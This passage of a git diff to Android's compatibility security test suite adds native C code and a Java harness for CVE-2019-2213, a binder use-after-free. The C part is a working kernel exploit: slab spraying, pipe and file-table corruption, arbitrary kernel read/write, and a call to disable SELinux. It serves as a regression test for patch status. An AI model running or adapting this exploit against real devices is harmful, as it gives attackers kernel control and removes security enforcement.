+void launch_stage2_threads() {
+    stage2_sync1 = alloc_sync();
+    stage2_sync2 = alloc_sync();
+    sync_set_num_waiters(stage2_sync1, STAGE2_THREADS);
+    sync_set_num_waiters(stage2_sync2, (tot_cpus - 1) * STAGE2_THREADS);
+    hook_clone();
+    unshare_following_clone_files();
+    launch_thread("txnuaf.stage2_launcher", stage2_launcher, NULL, 0, 0);
+    // set cpu
+    signal_xpl_threads();
+}
+
+void alloc_txns(int n) {
+    total_txns += n;
+    size_t totsz = n * (4 + sizeof(struct binder_transaction_data));
+    buf_t *buf = new_buf_sz(totsz);
+    for (int i = 0; i < n; i++) {
+        buf_u32(buf, BC_TRANSACTION);
+        struct binder_transaction_data *tr;
+        tr = buf_alloc(buf, sizeof(*tr));
+        tr->target.handle = to1;
+        tr->code = 0;
+        tr->flags |= TF_ONE_WAY;
+        tr->data.ptr.buffer = 0;
+        tr->data.ptr.offsets = 0;
+        tr->data_size = 0;
+        tr->offsets_size = 0;
+    }
+    binder_write(bnd2, buf);
+}
+
+void recv_all_txns(int fd) {
+    for (int i = 0; i < total_txns; i++) {
+        txn_t t;
+        recv_txn(fd, &t);
+        free_txn(&t);
+    }
+}
+
+void clean_slab() {
+    // clean node
+    alloc_txns(4096);
+    // clean each cpu
+    int cpu_count =  android_getCpuCount();
+    for (int i = 0; i < cpu_count; i++) {
+        if (cpu_available(i)) {
+            set_cpu(i);
+            alloc_txns(512);
+        }
+    }
+    set_cpu(cpu1);
+    // for good measure
+    alloc_txns(128);
+}
+
+void poll_thread(u64 arg) {
+    set_timerslack();
+    sync_wait(poll_sync);
+    do_poll(uaf_pipe, 200);
+    dbg("poll timeout");
+    sync_done(poll_sync);
+}
+
+void free_pipe_alloc_fdmem() {
+    clean_slab();
+    sync_signal(poll_sync);
+    usleep(50000);
+    if (close(bad_pipe) < 0) {
+        fail("free close fail");
+        return;
+    }
+    // alloc fdmem
+    signal_xpl_threads();
+    // set all bits
+    signal_xpl_threads();
+    dbg("fdmem spray done");
+    sync_wait_done(poll_sync);
+    recv_all_txns(bnd1);
+}
+
+void find_pipe_slot_thread() {
+    signal_xpl_threads();
+    if (!uaf_alloc_success)
+        fail("inode_info uaf alloc fail - this may sometimes happen, "
+             "kernel may crash after you close the app");
+}
+
+void set_all_bits() {
+    for (int i = 0x1ff; i >= 3; i--)
+        if (dup2(1, i) < 0)
+            fail("dup2 fail, fd=%d", i);
+}
+
+void winfo32_lo(int addr, u32 dat) {
+    int startbit = addr ? 0 : 3;
+    addr *= 8;
+    for (int i = startbit; i < 32; i++) {
+        int fd = addr + i;
+        if (dat & (1ul << i)) {
+            if (dup2(1, fd) < 0)
+                fail("winfo dup2 fail, fd=%d", fd);
+        } else {
+            if (close(fd) < 0 && errno != EBADF)
+                fail("winfo close fail, fd=%d", fd);
+        }
+    }
+}
+
+void winfo32_hi(int addr, u32 dat) {
+    addr *= 8;
+    for (int i = 0; i < 32; i++) {
+        u32 bit = dat & (1u << i);
+        int fd = addr + i;
+        if (fcntl(fd, F_SETFD, bit ? FD_CLOEXEC : 0) < 0) {
+            if (errno != EBADF || bit)
+                fail("winfo fcntl fail fd=%d", fd);
+        }
+    }
+}
+
+void winfo32(int addr, u32 dat) {
+    if (addr < 0x40)
+        winfo32_lo(addr, dat);
+    else
+        winfo32_hi(addr - 0x40, dat);
+}
+
+void winfo64(int addr, u64 dat) {
+    winfo32(addr, dat);
+    winfo32(addr + 4, dat >> 32);
+}
+
+u64 rinfo64(int addr) {
+    addr *= 8;
+    u64 ret = 0;
+    for (int i = 0; i < 64; i++) {
+        int fd = addr + i;
+        fd_set set;
+        FD_ZERO(&set);
+        FD_SET(fd, &set);
+        struct timeval timeout;
+        timeout.tv_sec = 0;
+        timeout.tv_usec = 0;
+        if (select(fd + 1, &set, NULL, NULL, &timeout) >= 0)
+            ret |= 1ul << i;
+        else if (errno != EBADF)
+            fail("leak select fail");
+    }
+    return ret;
+}
+
+int files_off = 0x30;
+int file_off = 0x48;
+int fdt_off = 0x58;
+int fmode_off = 0x78;
+int faoff = 0x10;
+
+void set_pipe_mutex_count(u32 count) {
+    winfo32(0, count);
+}
+
+void set_pipe_nrbufs(u32 nrbufs) {
+    winfo32(0x40, nrbufs);
+}
+
+void set_pipe_curbuf(u32 curbuf) {
+    winfo32(0x44, curbuf);
+}
+
+void set_pipe_buffers(u32 buffers) {
+    winfo32(0x48, buffers);
+}
+
+void set_pipe_readers(u32 readers) {
+    winfo32(0x4c, readers);
+}
+
+void set_pipe_fasync_readers(u64 fasync_readers) {
+    winfo64(0x70, fasync_readers);
+}
+
+void set_pipe_wait_next(u64 next) {
+    winfo64(0x30, next);
+}
+
+u64 get_pipe_wait_next() {
+    return rinfo64(0x30);
+}
+
+void set_fa_magic(u32 magic) {
+    winfo32(faoff + 4, magic);
+}
+
+void set_fa_next(u64 next) {
+    winfo64(faoff + 0x10, next);
+}
+
+void set_fa_file(u64 file) {
+    winfo64(faoff + 0x18, file);
+}
+
+u64 get_mutex_owner() {
+    return rinfo64(0x18);
+}
+
+void set_files_count(int count) {
+    winfo32(files_off, count);
+}
+
+void set_files_fdt(u64 fdt) {
+    winfo64(files_off + 0x20, fdt);
+}
+
+void set_fdt_max_fds(u32 max_fds) {
+    winfo32(fdt_off, max_fds);
+}
+
+void set_fdt_fdarr(u64 fdarr) {
+    winfo64(fdt_off + 8, fdarr);
+}
+
+void set_fdt_close_on_exec(u64 close_on_exec) {
+    winfo64(fdt_off + 0x10, close_on_exec);
+}
+
+void set_file_fmode(u32 fmode) {
+    winfo32(fmode_off, fmode);
+}
+
+void set_file(u64 file) {
+    winfo64(file_off, file);
+}
+
+void stage2();
+
+void stage2_thread(u64 cpu) {
+    sync_t *sync = cpu == cpu1 ? stage2_sync1 : stage2_sync2;
+    sync_wait(sync);
+    do_set_cpu(cpu);
+    sync_done(sync);
+
+    sync_wait(sync);
+    if (dup2(1, 0x1ff) < 0) {
+        fail("dup2 fail");
+        return;
+    }
+    sync_done(sync);
+
+    sync_wait(sync);
+    set_all_bits();
+    sync_done(sync);
+
+    sync_wait(sync);
+    u64 wait_list = get_pipe_wait_next();
+    int ok = wait_list != -1l;
+    if (ok) {
+        uaf_alloc_success = 1;
+        pipe_inode_info = wait_list - 0x30;
+        dbg("pipe_inode_info=%016zx", pipe_inode_info);
+    }
+    sync_done(sync);
+    if (ok)
+        stage2();
+}
+
+void write_pipe_ptr_to(u64 addr) {
+    set_pipe_wait_next(addr - 8);
+    do_poll(0, 50);
+}
+
+void overwrite_pipe_bufs() {
+    write_pipe_ptr_to(pipe_inode_info + 0x80);
+}
+
+void leak_task_ptr() {
+    set_pipe_mutex_count(0x7);
+    set_pipe_wait_next(pipe_inode_info + 0x30);
+    u64 faptr = pipe_inode_info + faoff;
+    set_pipe_fasync_readers(faptr);
+    set_pipe_nrbufs(3);
+    set_pipe_curbuf(0);
+    set_pipe_buffers(4);
+    set_pipe_readers(1);
+    set_fa_magic(0x4601);
+    set_fa_next(faptr);
+    set_fa_file(0xfffffffful); // overlaps with inode_info.wait.lock
+    sync_signal(rw_thread_sync);
+    // wait for rw thread to write mutex owner
+    usleep(100000);
+    rw_task = get_mutex_owner();
+    dbg("rw_task=%016zx", rw_task);
+    // unblock rw thread
+    set_fa_magic(0);
+    if (syscall(SYS_tkill, rw_thread_tid, SIGUSR2) < 0)
+        fail("tkill fail");
+    dbg("signaled rw_thread");
+    sync_wait_done(rw_thread_sync);
+    // wait until klogd has logged the bad magic number error
+    sleep(1);
+}
+
+void overwrite_task_files(u64 task) {
+    write_pipe_ptr_to(task + 0x7c0);
+}
+
+void sigfunc(int a) {
+}
+
+enum {cmd_read, cmd_write, cmd_exit};
+
+void handle_sig() {
+    struct sigaction sa;
+    memset(&sa, 0x00, sizeof(sa));
+    sa.sa_handler = sigfunc;
+    if (sigaction(SIGUSR2, &sa, NULL) < 0)
+        fail("sigaction fail");
+}
+
+void rw_thread(u64 idx) {
+    handle_sig();
+    sync_wait(rw_thread_sync);
+    void *dat = malloc(0x2000);
+    dbg("starting blocked write");
+    if (write(uaf_pipe, dat, 0x2000) != 0x1000) {
+        fail("expected blocking write=0x1000");
+        return;
+    }
+    dbg("write unblocked");
+    sync_done(rw_thread_sync);
+    int done = 0;
+    while (!done) {
+        sync_wait(rw_thread_sync);
+        if (rw_cmd == cmd_read) {
+            int bits = fcntl(rw_bit, F_GETFD);
+            if (bits < 0) {
+                fail("F_GETFD fail");
+                return;
+            }
+            rw_val = !!(bits & FD_CLOEXEC);
+        } else if (rw_cmd == cmd_write) {
+            if (fcntl(rw_bit, F_SETFD, rw_val ? FD_CLOEXEC : 0) < 0) {
+                fail("F_SETFD fail");
+                return;
+            }
+        } else {
+            done = 1;
+        }
+        sync_done(rw_thread_sync);
+    }
+}
+
+void set_fdarr(int bit) {
+    set_fdt_fdarr(pipe_inode_info + file_off - bit * 8);
+}
+
+u8 r8(u64 addr) {
+    u8 val = 0;
+    set_fdt_close_on_exec(addr);
+    for (int bit = 0; bit < 8; bit++) {
+        set_fdarr(bit);
+        rw_bit = bit;
+        rw_cmd = cmd_read;
+        sync_signal(rw_thread_sync);
+        sync_wait_done(rw_thread_sync);
+        val |= rw_val << bit;
+    }
+    return val;
+}
+
+void w8(u64 addr, u8 val) {
+    set_fdt_close_on_exec(addr);
+    for (int bit = 0; bit < 8; bit++) {
+        set_fdarr(bit);
+        rw_bit = bit;
+        rw_val = val & (1 << bit);
+        rw_cmd = cmd_write;
+        sync_signal(rw_thread_sync);
+        sync_wait_done(rw_thread_sync);
+    }
+}
+
+void exit_rw_thread() {
+    rw_cmd = cmd_exit;
+    sync_signal(rw_thread_sync);
+    sync_wait_done(rw_thread_sync);
+}
+
+void w16(u64 addr, u16 val) {
+    w8(addr, val);
+    w8(addr + 1, val >> 8);
+}
+
+void w32(u64 addr, u32 val) {
+    w16(addr, val);
+    w16(addr + 2, val >> 16);
+}
+
+void w64(u64 addr, u64 val) {
+    w32(addr, val);
+    w32(addr + 4, val >> 32);
+}
+
+u16 r16(u64 addr) {
+    return r8(addr) | (r8(addr + 1) << 8);
+}
+
+u32 r32(u64 addr) {
+    return r16(addr) | (r16(addr + 2) << 16);
+}
+
+u64 r64(u64 addr) {
+    return r32(addr) | (u64)r32(addr + 4) << 32;
+}
+
+#define magic 0x55565758595a5b5cul
+
+void set_up_arbitrary_rw() {
+    overwrite_task_files(rw_task);
+    set_all_bits();
+    set_files_count(1);
+    set_files_fdt(pipe_inode_info + fdt_off);
+    set_fdt_max_fds(8);
+    set_file(pipe_inode_info + fmode_off - 0x44);
+    set_file_fmode(0);
+    u64 magic_addr = scratch;
+    w64(magic_addr, magic);
+    if (r64(magic_addr) != magic)
+        fail("rw test fail");
+    dbg("got arbitrary rw");
+}
+
+u64 get_current() {
+    int our_tid = gettid();
+    u64 leader = r64(rw_task + 0x610);
+    u64 task = leader;
+
+    time_t test_started = start_timer();
+    while (timer_active(test_started)) {
+        int tid = r32(task + 0x5d0);
+        if (tid == our_tid)
+            return task;
+        task = r64(task + 0x680) - 0x680;
+        if (task == leader)
+            break;
+    }
+    fail("current not found");
+    return (u64)-1;
+}
+
+void get_fdarr() {
+    current = get_current();
+    if (current == (u64)-1) {
+        return;
+    }
+    dbg("current=%016zx", current);
+    u64 files = r64(current + 0x7c0);
+    u64 fdt = r64(files + 0x20);
+    fdarr = r64(fdt + 8);
+}
+
+void place_bnd_buf(u64 v1, u64 v2, txn_t *t) {
+    txn_t t2;
+    int do_free = !t;
+    if (!t)
+        t = &t2;
+    buf_t *dat = new_buf();
+    buf_u64(dat, v1);
+    buf_u64(dat, v2);
+    send_txn(2, to1, 0, dat, NULL);
+    recv_txn(1, t);
+    if (do_free)
+        free_txn(t);
+    send_reply(1);
+    recv_txn(2, &t2);
+    free_txn(&t2);
+}
+
+void w128(u64 addr, u64 v1, u64 v2) {
+    w64(free_data, addr);
+    w64(next_free_data, addr + 0x10);
+    place_bnd_buf(v1, v2, NULL);
+}
+
+void set_up_w128() {
+    u64 bnd = get_file(1);
+    u64 proc = r64(bnd + 0xd0);
+    u64 alloc = proc + 0x1c0;
+    enter_looper(1);
+    txn_t t1, t2;
+    place_bnd_buf(0, 0, &t1);
+    place_bnd_buf(0, 0, &t2);
+    free_txn(&t1);
+    u64 free_buffer = r64(alloc + 0x48);
+    u64 next = r64(free_buffer);
+    w64(alloc + 0x38, 0);
+    w64(alloc + 0x78, ~0ul);
+    free_data = free_buffer + 0x58;
+    next_free_data = next + 0x58;
+    u64 magic_addr = scratch + 8;
+    w128(magic_addr, magic, magic);
+    if (r64(magic_addr) != magic || r64(magic_addr + 8) != magic)
+        fail("w128 test fail");
+    dbg("got w128");
+}
+
+void clean_up() {
+    w64(fdarr, 0);
+    set_files_count(2);
+    exit_rw_thread();
+}
+
+void exploit() {
+    set_thread_name("txnuaf");
+    select_cpus();
+    set_cpu(cpu1);
+    set_timerslack();
+    launch_threads();
+    open_binders();
+    race_cycle();
+    reopen_pipe();
+    launch_stage2_threads();
+    free_pipe_alloc_fdmem();
+    find_pipe_slot_thread();
+}
+
+void stage2() {
+    scratch = pipe_inode_info + 0xb8;
+    overwrite_pipe_bufs();
+    leak_task_ptr();
+    set_up_arbitrary_rw();
+    get_fdarr();
+    set_up_w128();
+    winfo32(0, 0x7);
+    disable_selinux();
+    clean_up();
+}
+
+JNIEXPORT void JNICALL
+Java_android_security_cts_ExploitThread_runxpl(JNIEnv *e, jobject t, jstring jpipedir) {
+    this = (*e)->NewGlobalRef(e, t);
+    add_jenv(e);
+    (*e)->GetJavaVM(e, &jvm);
+    jclass cls = (*e)->GetObjectClass(e, this);
+    add_log = (*e)->GetMethodID(e, cls, "addLog", "(Ljava/lang/String;)V");
+    pipedir = (*e)->GetStringUTFChars(e, jpipedir, NULL);
+    exploit();
+    (*e)->ReleaseStringUTFChars(e, jpipedir, pipedir);
+}
diff --git a/tests/tests/security/res/raw/sig_com_android_conscrypt.bin b/tests/tests/security/res/raw/sig_com_android_conscrypt.bin
deleted file mode 100644
index 67e87a1..0000000
--- a/tests/tests/security/res/raw/sig_com_android_conscrypt.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_media.bin b/tests/tests/security/res/raw/sig_com_android_media.bin
deleted file mode 100644
index d33cb3f..0000000
--- a/tests/tests/security/res/raw/sig_com_android_media.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin b/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin
deleted file mode 100644
index 8c663d4..0000000
--- a/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_resolv.bin b/tests/tests/security/res/raw/sig_com_android_resolv.bin
deleted file mode 100644
index cae337e..0000000
--- a/tests/tests/security/res/raw/sig_com_android_resolv.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin b/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin
deleted file mode 100644
index 8248649..0000000
--- a/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_runtime_release.bin b/tests/tests/security/res/raw/sig_com_android_runtime_release.bin
deleted file mode 100644
index 55640d7..0000000
--- a/tests/tests/security/res/raw/sig_com_android_runtime_release.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_tzdata.bin b/tests/tests/security/res/raw/sig_com_android_tzdata.bin
deleted file mode 100644
index f4339e6..0000000
--- a/tests/tests/security/res/raw/sig_com_android_tzdata.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin b/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin
deleted file mode 100644
index e27820f..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_media.bin b/tests/tests/security/res/raw/sig_com_google_android_media.bin
deleted file mode 100644
index 1259311..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_media.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin b/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin
deleted file mode 100644
index 0e72db7..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_resolv.bin b/tests/tests/security/res/raw/sig_com_google_android_resolv.bin
deleted file mode 100644
index f5de871..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_resolv.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin b/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin
deleted file mode 100644
index e28c489..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin b/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin
deleted file mode 100644
index 96c192c..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin b/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin
deleted file mode 100644
index abcc35f..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/xml/authenticator.xml b/tests/tests/security/res/xml/authenticator.xml
new file mode 100644
index 0000000..9096201
--- /dev/null
+++ b/tests/tests/security/res/xml/authenticator.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<account-authenticator
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="android.security.cts"
+    android:label="AuthenticatorTest" />
\ No newline at end of file
diff --git a/tests/tests/security/src/android/security/cts/BinderExploitTest.java b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
new file mode 100644
index 0000000..abb0370
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.system.Os;
+import android.os.Looper;
+import android.os.Message;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+
+import android.hardware.display.VirtualDisplay;
+
+import java.io.IOException;
+import java.io.BufferedReader;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+
+import static org.junit.Assert.assertTrue;
+import android.test.AndroidTestCase;
+import androidx.test.InstrumentationRegistry;
+import android.platform.test.annotations.SecurityTest;
+
+import java.util.ArrayList;
+import android.util.Log;
+
+import android.graphics.Bitmap;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.system.ErrnoException;
+import android.widget.TextView;
+
+import java.io.File;
+import java.util.List;
+
+class Exchange extends IBinderExchange.Stub {
+    IBinder binder;
+    BinderExploitTest.CVE_2019_2213_Activity xpl;
+    Exchange(BinderExploitTest.CVE_2019_2213_Activity xpl) {
+        this.xpl = xpl;
+    }
+    @Override
+    public void putBinder(IBinder bnd) {
+        this.xpl.addLog("put binder");
+        binder = bnd;
+    }
+    @Override
+    public IBinder getBinder() {
+        this.xpl.addLog("get binder");
+        return binder;
+    }
+}
+
+class ExploitThread extends Thread {
+    static {
+        System.loadLibrary("cve_2019_2213_jni");
+    }
+    BinderExploitTest.CVE_2019_2213_Activity xpl;
+    String pipedir;
+
+    ExploitThread(BinderExploitTest.CVE_2019_2213_Activity xpl, String pipedir) {
+        this.xpl = xpl;
+        this.pipedir = pipedir;
+    }
+
+    public void run() {
+        runxpl(pipedir);
+    }
+
+    void addLog(String msg) {
+        xpl.addLog(msg);
+    }
+
+    public native void runxpl(String pipedir);
+}
+
+@SecurityTest
+public class BinderExploitTest extends AndroidTestCase {
+
+    static final String TAG = BinderExploitTest.class.getSimpleName();
+    private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+
+    public CVE_2019_2213_Activity mActivity;
+    private void launchActivity(Class<? extends Activity> clazz) {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+    }
+
+    /**
+     * b/141496757
+     */
+    @SecurityTest(minPatchLevel = "2019-11")
+    public void testPoc_cve_2019_2213() throws Exception {
+        Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start..."));
+
+        //  set timeout to 5 minutes
+        int timeout = 60;
+
+        //  run test activity
+        launchActivity(CVE_2019_2213_Activity.class);
+        //  main loop to check forked processs bahaviors
+        while (timeout-- > 0) {
+            SystemClock.sleep(1000);
+        }
+        Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 finished."));
+    }
+
+    public static class CVE_2019_2213_Activity extends Activity {
+        ActivityManager actmgr;
+        String log = "";
+
+        synchronized void addLog(String msg) {
+            Log.i("txnuaf", msg);
+            log += msg + "\n";
+            Log.i(TAG, log);
+        }
+
+        ActivityManager.AppTask getAppTask() {
+            List<ActivityManager.AppTask> list = actmgr.getAppTasks();
+            for (int i = 0; i < list.size(); i++) {
+                ActivityManager.RecentTaskInfo info = list.get(i).getTaskInfo();
+                if (info.baseIntent.getExtras() != null)
+                    return list.get(i);
+            }
+            return null;
+        }
+
+        void setUpBundle() throws Exception {
+            actmgr = (ActivityManager)getSystemService(ACTIVITY_SERVICE);
+            ActivityManager.AppTask t = getAppTask();
+            if (t != null)
+                t.finishAndRemoveTask();
+            Intent in = new Intent(this, CVE_2019_2213_Activity.class);
+            Bundle extras = new Bundle();
+            extras.putBinder("bnd", new Exchange(this));
+            in.putExtras(extras);
+            in.setFlags(in.getFlags() | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+            Bitmap bmp = Bitmap.createBitmap(1, 1, Bitmap.Config.ALPHA_8);
+            if (actmgr.addAppTask(this, in, null, bmp) == -1)
+                throw new Exception("addAppTask failed");
+            t = getAppTask();
+            if (t == null)
+                throw new Exception("no appTask with extras");
+            Bundle b = t.getTaskInfo().baseIntent.getExtras();
+            if (!b.containsKey("bnd"))
+                throw new Exception("no bnd key");
+            addLog("apptask added");
+        }
+
+        public String makePipes() throws ErrnoException {
+            File dir = getDir("xpldat", 0);
+            for (int i = 0; i < 8; i++) {
+                File fifo = new File(dir, "p" + i);
+                if (fifo.exists())
+                    fifo.delete();
+                Os.mkfifo(fifo.getPath(), 0600);
+            }
+            return dir.getPath();
+        }
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+
+            try {
+                setUpBundle();
+                (new ExploitThread(this, makePipes())).start();
+            } catch (Exception e) {
+                addLog(e.toString());
+            }
+        }
+    }
+
+
+}
diff --git a/tests/tests/security/src/android/security/cts/IBinderExchange.java b/tests/tests/security/src/android/security/cts/IBinderExchange.java
new file mode 100644
index 0000000..765baac
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/IBinderExchange.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * This file is auto-generated in Android Studio for BinderExploitTest.  DO NOT MODIFY.
+ */
+package android.security.cts;
+
+public interface IBinderExchange extends android.os.IInterface {
+    /** Local-side IPC implementation stub class. */
+    public static abstract class Stub extends android.os.Binder
+        implements android.security.cts.IBinderExchange {
+        private static final java.lang.String DESCRIPTOR = "android.security.cts.IBinderExchange";
+
+        /** Construct the stub at attach it to the interface. */
+        public Stub() {
+            this.attachInterface(this, DESCRIPTOR);
+        }
+
+        /**
+         * Cast an IBinder object into an android.security.cts.IBinderExchange
+         * interface, generating a proxy if needed.
+         */
+        public static android.security.cts.IBinderExchange asInterface(android.os.IBinder obj) {
+            if ((obj == null)) {
+                return null;
+            }
+            android.os.IInterface iin = obj.queryLocalInterface(DESCRIPTOR);
+            if (((iin != null) && (iin instanceof android.security.cts.IBinderExchange))) {
+                return ((android.security.cts.IBinderExchange) iin);
+            }
+            return new android.security.cts.IBinderExchange.Stub.Proxy(obj);
+        }
+
+        @Override
+        public android.os.IBinder asBinder() {
+            return this;
+        }
+
+        @Override
+        public boolean onTransact(
+            int code, android.os.Parcel data, android.os.Parcel reply, int flags)
+                throws android.os.RemoteException {
+            java.lang.String descriptor = DESCRIPTOR;
+            switch (code) {
+            case INTERFACE_TRANSACTION: {
+                reply.writeString(descriptor);
+                return true;
+            }
+            case TRANSACTION_putBinder: {
+                data.enforceInterface(descriptor);
+                android.os.IBinder _arg0;
+                _arg0 = data.readStrongBinder();
+                this.putBinder(_arg0);
+                reply.writeNoException();
+                return true;
+            }
+            case TRANSACTION_getBinder: {
+                data.enforceInterface(descriptor);
+                android.os.IBinder _result = this.getBinder();
+                reply.writeNoException();
+                reply.writeStrongBinder(_result);
+                return true;
+            }
+            default: {
+                return super.onTransact(code, data, reply, flags);
+            }
+            }
+        }
+
+        private static class Proxy implements android.security.cts.IBinderExchange {
+            private android.os.IBinder mRemote;
+
+            Proxy(android.os.IBinder remote) {
+                mRemote = remote;
+            }
+
+            @Override
+            public android.os.IBinder asBinder() {
+                return mRemote;
+            }
+
+            public java.lang.String getInterfaceDescriptor() {
+                return DESCRIPTOR;
+            }
+
+            @Override
+            public void putBinder(android.os.IBinder bnd) throws android.os.RemoteException {
+                android.os.Parcel _data = android.os.Parcel.obtain();
+                android.os.Parcel _reply = android.os.Parcel.obtain();
+                try {
+                    _data.writeInterfaceToken(DESCRIPTOR);
+                    _data.writeStrongBinder(bnd);
+                    mRemote.transact(Stub.TRANSACTION_putBinder, _data, _reply, 0);
+                    _reply.readException();
+                } finally {
+                    _reply.recycle();
+                    _data.recycle();
+                }
+            }
+
+            @Override
+            public android.os.IBinder getBinder() throws android.os.RemoteException {
+                android.os.Parcel _data = android.os.Parcel.obtain();
+                android.os.Parcel _reply = android.os.Parcel.obtain();
+                android.os.IBinder _result;
+                try {
+                    _data.writeInterfaceToken(DESCRIPTOR);
+                    mRemote.transact(Stub.TRANSACTION_getBinder, _data, _reply, 0);
+                    _reply.readException();
+                    _result = _reply.readStrongBinder();
+                } finally {
+                    _reply.recycle();
+                    _data.recycle();
+                }
+                return _result;
+            }
+        }
+
+        static final int TRANSACTION_putBinder = (android.os.IBinder.FIRST_CALL_TRANSACTION + 0);
+        static final int TRANSACTION_getBinder = (android.os.IBinder.FIRST_CALL_TRANSACTION + 1);
+    }
+
+    public void putBinder(android.os.IBinder bnd) throws android.os.RemoteException;
+
+    public android.os.IBinder getBinder() throws android.os.RemoteException;
+}
diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
new file mode 100644
index 0000000..4f7dffc
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
@@ -0,0 +1,359 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.test.AndroidTestCase;
+import android.platform.test.annotations.SecurityTest;
+import androidx.test.InstrumentationRegistry;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Service;
+
+import android.provider.Settings;
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.os.SystemClock;
+
+import android.util.Log;
+import android.annotation.Nullable;
+import static java.lang.Thread.sleep;
+import static org.junit.Assert.assertTrue;
+
+@SecurityTest
